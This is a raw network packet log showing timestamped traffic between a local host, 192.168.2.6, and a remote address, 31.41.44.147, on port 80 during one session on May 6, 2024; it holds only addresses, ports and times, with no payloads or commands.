May 6, 2024 02:52:57.954312086 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954323053 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954335928 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954340935 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954355955 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954368114 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954379082 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954380035 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954380035 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954394102 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954401016 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954406977 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954421997 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954435110 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954442024 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954447031 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954456091 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954493999 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954493999 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954507113 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954519987 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954530954 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954538107 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954555035 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954566002 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954569101 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954581022 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954581976 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954590082 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954596043 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954603910 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954607010 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954618931 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954619884 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954641104 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954669952 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044509888 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044559002 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044715881 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044770002 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044783115 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044795036 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044806957 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044816017 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044820070 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044835091 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044846058 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044861078 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044871092 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044873953 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044883966 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044899940 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044922113 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044931889 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044935942 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044949055 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044958115 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044971943 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044984102 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.044990063 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044990063 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.044997931 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.045008898 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.045010090 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.045051098 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.045082092 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.045104027 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.045120955 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.045125008 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.045141935 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.045165062 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.059535027 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.059629917 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.059655905 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.059695959 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.066694021 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.066770077 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.066797972 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.066838980 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.085216999 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.085314989 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.085678101 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.085719109 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.085727930 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.085762024 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.085935116 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.085947990 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.086122990 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.086445093 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.086500883 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.086747885 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.086797953 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.100446939 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.100460052 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.100518942 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.100534916 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.107615948 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.107646942 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.107659101 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.107675076 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.107701063 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.107811928 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.107855082 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.126332998 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.126346111 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.126533985 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.126542091 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.126586914 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.126743078 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.126796961 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.127652884 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.127701998 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.127754927 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.127768040 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.127795935 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.127816916 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.141395092 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.141469002 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.141515017 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.141581059 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.148094893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.148159981 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.148333073 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.148379087 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.166763067 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.166866064 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.166896105 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.166944981 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.167396069 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.167443037 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.167562008 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.167609930 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.167618990 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.167664051 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.167849064 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.167896986 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.168021917 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.168070078 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.182184935 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.182234049 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.182243109 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.182272911 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.182425022 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.182437897 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.182471037 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.182490110 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.189647913 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.189661026 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.189672947 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.189707041 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.189738989 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.207454920 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.207518101 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.207875013 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.207922935 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.208121061 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.208165884 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.208205938 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.208251953 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.208801031 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.208873034 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.208890915 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.208930016 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.214329958 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.214499950 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.245220900 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245268106 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245280027 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245290995 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245290995 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.245304108 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245316029 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.245318890 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.245358944 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.251746893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251761913 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251816034 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.251914978 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251929045 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251940012 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251952887 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251965046 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.251967907 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.251976967 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.252006054 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.286133051 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.286206007 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.286334038 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.286371946 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.286380053 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.286410093 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.286416054 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.286456108 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.287008047 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.287055969 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.287069082 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.287082911 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.287106037 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.287126064 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.293637037 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.293693066 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.293700933 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.293740988 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.293992996 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.294043064 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.294091940 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.294137001 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.294625044 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.294675112 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.294766903 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.294812918 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.305077076 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.305151939 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369209051 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369267941 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369281054 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369292021 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369306087 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369318962 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369330883 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369343996 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369350910 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369357109 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369376898 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369376898 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369406939 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369415998 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369421959 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369447947 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369457006 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369472980 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369473934 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369491100 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369519949 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369524002 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369537115 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369558096 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.369565964 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369577885 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.369600058 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.376658916 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.376724005 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.376730919 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.376760960 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.376763105 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.376796961 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.377170086 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.377219915 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.377300024 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.377346039 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.377624035 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.377636909 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.377669096 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.387047052 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.387120962 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.409787893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.410027027 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.410037994 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.410090923 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.410110950 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.410150051 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.417439938 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.417505980 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.417526960 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.417567968 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.417735100 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.417747974 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.417782068 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.417802095 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.418385983 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.418433905 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.418663979 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.418677092 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.418718100 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.418881893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.418936968 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.427108049 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.427170992 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.450486898 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.450611115 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.450650930 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.452755928 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.459242105 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459275007 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459310055 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459327936 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.459363937 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459364891 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.459409952 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.459599018 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459640980 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.459727049 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.459764957 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.467900991 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.467946053 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.491255045 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.491293907 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.491420031 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.491458893 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.504591942 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.504645109 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.504648924 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.504689932 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.504817963 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.504914045 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.504976034 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.505012989 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.505634069 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.505676985 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.505738974 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.505775928 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.506388903 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.506402969 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.506441116 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.506490946 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.506530046 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.510164976 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.510207891 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.531714916 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.531793118 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.531795025 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.531955004 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.545241117 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.545325994 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.545408010 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.545459032 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.545483112 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.545521021 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.545938969 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.545984030 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.546176910 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.546221972 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.546272993 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.546314955 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.546581984 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.546624899 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.546827078 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.546869993 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.546914101 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.546947956 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.547255993 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.547303915 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.573647976 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.573659897 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.573672056 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.573717117 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.573760033 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.573955059 CEST	49717	80	192.168.2.6	31.41.44.147
